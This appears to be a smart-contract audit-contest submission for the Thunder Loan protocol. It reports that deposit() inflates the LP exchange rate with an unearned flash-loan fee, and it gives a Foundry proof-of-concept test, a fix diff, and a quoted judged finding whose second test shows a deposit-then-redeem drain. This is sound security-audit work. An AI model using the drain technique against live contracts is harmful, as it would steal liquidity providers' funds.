Thunder Loan
AI First Flight #7
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EXP
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Submission Details
Severity: high
Valid

`deposit()` calls `getCalculatedFee` and `updateExchangeRate`, inflating LP share value without backing

webrainsec

Description

updateExchangeRate() should only be called during flashloan() to reflect actual fee revenue. But deposit() also calls getCalculatedFee(token, amount) and passes the result to updateExchangeRate(). This inflates the exchange rate on every deposit as if fee revenue was collected, but no extra underlying entered the pool.

// src/protocol/ThunderLoan.sol:147-156
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount); // @> why flash loan fee on deposit?
assetToken.updateExchangeRate(calculatedFee); // @> inflates rate without backing
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Note: ThunderLoanUpgraded.deposit() removes these two lines, confirming the developers identified this as a bug.

Risk

Likelihood: Every deposit triggers this. No conditions required.

Impact: Exchange rate promises more underlying than exists. Last LPs to redeem cannot get their full share.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
contract MockTokenE is ERC20 {
constructor() ERC20("MockToken", "MTK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
​
contract MockPoolFactory5 {
mapping(address => address) private s_pools;
function createPool(address token) external returns (address) {
MockTSwapPool5 pool = new MockTSwapPool5();
s_pools[token] = address(pool);
return address(pool);
}
function getPool(address token) external view returns (address) { return s_pools[token]; }
}
​
contract MockTSwapPool5 {
function getPriceOfOnePoolTokenInWeth() external pure returns (uint256) { return 1e18; }
}
​
contract Exploit_H04 is Test {
ThunderLoan thunderLoan;
MockTokenE tokenA;
AssetToken assetToken;
​
function setUp() public {
tokenA = new MockTokenE();
MockPoolFactory5 pf = new MockPoolFactory5();
pf.createPool(address(tokenA));
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(pf));
thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);
assetToken = thunderLoan.getAssetFromToken(IERC20(address(tokenA)));
​
tokenA.mint(address(0x1), 1000e18);
vm.startPrank(address(0x1));
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(IERC20(address(tokenA)), 1000e18);
vm.stopPrank();
}
​
function testExploit_DepositInflatesExchangeRate() public {
uint256 rateBefore = assetToken.getExchangeRate();
​
address lp2 = address(0x3);
tokenA.mint(lp2, 100e18);
vm.startPrank(lp2);
tokenA.approve(address(thunderLoan), 100e18);
thunderLoan.deposit(IERC20(address(tokenA)), 100e18);
vm.stopPrank();
​
uint256 rateAfter = assetToken.getExchangeRate();
assertGt(rateAfter, rateBefore); // rate increased without fee revenue
// 1.003e18 -> 1.003273e18
}
}

Output: Exchange rate increased from 1.003e18 to 1.003273e18 on a plain deposit with no flash loan fee earned.

Recommended Mitigation

Remove the fee calculation from deposit():

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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